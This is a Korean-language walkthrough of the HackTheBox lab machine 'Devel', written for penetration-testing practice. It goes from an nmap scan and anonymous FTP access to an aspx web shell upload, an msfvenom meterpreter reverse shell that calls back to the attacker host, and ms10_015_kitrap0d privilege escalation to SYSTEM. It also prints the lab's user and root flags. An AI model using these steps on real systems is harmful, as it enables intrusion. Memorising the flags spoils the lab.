HackTheBox Labs Writeup - Devel

HackTheBox Labs Writeup - Devel

Overview

이 글에서는 HackTheBox Labs 머신 중 하나인 Devel 머신에 대한 풀이 방법에 대해 설명한다.

Task 1

Question : What is the name of the service is running on TCP port `21` on the target machine?

21 번 포트을 사용하고 있는 서비스 이름을 묻고 있다. nmap 으로 확인해보자.

$ nmap -sV -A -T4 -Pn 10.10.10.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 09:28 EST
Nmap scan report for 10.10.10.5
Host is up (0.19s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   191.30 ms 10.10.14.1
2   191.41 ms 10.10.10.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.67 seconds

운영 중인 서비스 이름은 Microsoft ftpd 다.

Answer : Microsoft ftpd

Task 2

Question : Which basic FTP command can be used to upload a single file onto the server?

FTP 가 운영 중이니 이용할 수 있는지 확인해보자. 하지만 주어진 credential 이 아무것도 없으니 익명 아이디 anonymous 로 접속할 수 있는지 보자. 암호는 입력하지 않았다.

$ ftp anonymous@10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> 

pwd 명령어를 실행하면 어떤지는 모르겠지만 FTP 의 루트 경로인 것을 알 수 있다.

ftp> pwd
Remote directory: /

put 명령어로 아무 파일이나 업로드하면 업로드가 잘되는 것을 확인할 수 있다.

ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49161|)
125 Data connection already open; Transfer starting.
     0        0.00 KiB/s 
226 Transfer complete.

dir 를 실행하면 현재 경로에 앞서 업로드한 test.txt 외에도 iisstart.htm, welcome.png 파일 및 aspnet_clinet 폴더가 있을 것을 볼 수 있다.

ftp> dir
229 Entering Extended Passive Mode (|||49162|)
150 Opening ASCII mode data connection.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
02-08-25  04:56PM                    0 test.txt
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
Answer : put

Task 3

Question : Are files put into the FTP root available via the webserver?

FTP 로 업로드한 파일들이 웹서버를 통해 실행할 수 있는지 묻고 있다. 앞서 FTP 에 기존재하던 파일 iisstart.htmwelcome.png 파일에 접근할 수 있는지 확인해보자.

nmap 스캐닝 결과에 따르면 80번 포트에서 웹서버도 운영 중인 것을 확인할 수 있다. 실제로 웹 브라우저로 접근해보면 아래와 같은 웹 서버 화면이 출력된다.

웹 서버 화면

웹서버 자체에는 별다른 기능이 없다. 하지만 웹서버의 루트 경로에서 앞서 FTP 루트 디렉토리에서 발견한 isstart.htmwelcome.png 에 접근을 시도하면, 접근할 수 있는 것을 확인할 수 있다.

welcome.png 접근 화면

만약 IIS7 에서 실행 가능한 웹셸을 업로드할 수 있다면, 웹브라우저로 실행할 수 있을 것 같다.

Answer : yes

Task 4

Question : What file extension is executed as a script on this webserver? Don't include the `.`.

IIS7에서 실행 가능한 스크립트 확장자는 .asp, .aspx, 등 여러가지가 있다. 하나씩 테스트해본 결과 .aspx 가 실행 가능했다. git 에서 cmd.aspx를 다운로드한 후, FTP로 업로드했다.

ftp> put cmd.aspx
local: cmd.aspx remote: cmd.aspx
229 Entering Extended Passive Mode (|||49163|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************|  1585        9.44 MiB/s    --:-- ETA
226 Transfer complete.
1585 bytes sent in 00:00 (8.10 KiB/s)

웹브라우저로 업로드한 파일에 접근한 결과 웹셸이 정상적으로 실행됐다.

웹셸 실행 화면

참고로 cmd.exe 를 실행할 때 인자로 /c 를 넣어야 정상적으로 실행 결과가 출력된다.

Answer : aspx

Task 5

Question : Which metasploit reconnaissance module can be used to list possible privilege escalation paths on a compromised system?

현재 web 서버를 실행 중인 사용자가 누군지 확인해보자. 만약 Administrator 라면 루트 권한을, 일반 사용자라면 사용자 권한을 이용해 이것저것 할 수 있을 것 같다. /c whoami 를 실행할 결과, iis인 것을 확인했다.

whoami 실행 결과

/c dir c:\Users\babis 명령어를 실행해 babis 사용자의 파일들을 보려했지만 권한 문제로 출력이 안된다.

질문에서 metasploit 을 이용해 권한 상승할 수 있는 모듈에 대해 묻고 있으니 metasploit 을 사용하는 방법으로 선회했다.

msfvenom을 이용해 리버스셸을 수립시키는 shell.aspx 파일을 생성한다. 앞선 과정과 마찬가지로 ftp로 파일을 업로드한다. LHOST 는 공격자의 로컬 호스트 주소, LPORT 는 리버스셸에 사용할 포트 번호다.

$ msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=9999 -f aspx -o shell.aspx

이후 msfconsole 을 실행해 앞서 생성한 payload 를 실행했을 때 발생할 리버스셸을 받을 수 있도록 설정한다. multi/handler 모듈을 사용하고, 는 payload, LHOST, LPORT 는 앞서 생성한 payload 와 동일하게 설정한 후, run 명령어를 실행한다.

$ msfconsole -q  
msf6 > use multi/handler  
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.14.3
msf6 > set LPORT 9999
msf6 > run

run 명령어를 실행하면 msfconsole 은 리버스셸 통신이 오기를 기다리고 있다. 웹브라우저를 통해 /shell.aspx 에 접근하여 리버스셸을 수립하자.
리버스셸 수립에 성공하면 프롬프트가 meterpreter 로 변경된다. 우리는 이 상태에서 권한 상승을 위해 local_exploit_suggester 모듈을 사용해야 하므로, background 명령어를 실행해 다시 msf6 프롬프트로 돌아오자.

meterpreter > background

이후 msf6 프롬프트로 돌아오면 앞서 생성한 리버스셸의 세션 번호를 우선 확인해보자. 내가 생성한 세션은 3번으로 설정되었다.

msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  3         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL  10.10.14.3:9999 -> 10.10.10.5:49170 (10.10.10.5)

post/multi/recon/local_exploit_suggester 모듈을 사용하고, SESSION 변수를 앞서 확인한 세션 번호 값으로 설정하고, 실행하자.

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 3
msf6 post(multi/recon/local_exploit_suggester) > run

local_exploit_suggester 모듈을 실행하면 현재 공격 중인 서버에서 사용할 수 있는 권한 상승 취약점의 목록이 다수 출력된다.

[*] Running check method for exploit 42 / 42
[*] 10.10.10.5 - Valid modules for session 3:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
... 후략 ...

취약점 목록 중 하나인 ms10_015_kitrap0d 을 사용하기로 결정했다. 위에서 보여준 취약점 목록은 어디까지나 가능성을 보여주는 것이기 때문에 실제로는 작동하지 않을 수도 있으므로 여러 번 시도해야 할 수도 있다.

ms10_015_kitrap0d 모듈을 사용한 후, 앞선 과정과 마찬가지로 SESSION, LHOST, LPORT 옵션을 적절하게 설정한 후, run 한다.

msf6 > use exploit/windows/local/ms10_015_kitrap0d
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 9999
LPORT => 9999
msf6 exploit(windows/local/ms10_015_kitrap0d) > run

취약점 exploit 에 성공하면 meterpreter 으로 프롬프트가 변경된다. shell 명령어를 실행하면 리버스셸을 이용할 수 있다.

meterpreter > shell

whoami 명령어를 실행하면 현재 관리자 권한인 것을 확인할 수 있다.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\system
Answer : local_exploit_suggester

Submit User, Root Flag

관리자 권한을 얻었으니 손쉽게 유저, 루트 Flag 를 손에 넣을 수 있다.

유저 Flag는 C:\Users\babis\Desktop\user.txt 파일에 존재한다.

C:\Users>type C:\Users\babis\Desktop\user.txt
type C:\Users\babis\Desktop\user.txt
61cb2b495537f7d3b4ecb41d0644c6c6

루트 Flag는 C:\Users\Administrator\Desktop\root.txt 파일에 존재한다.

C:\Users>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
164f7b44155b3141525d5edb48d964e4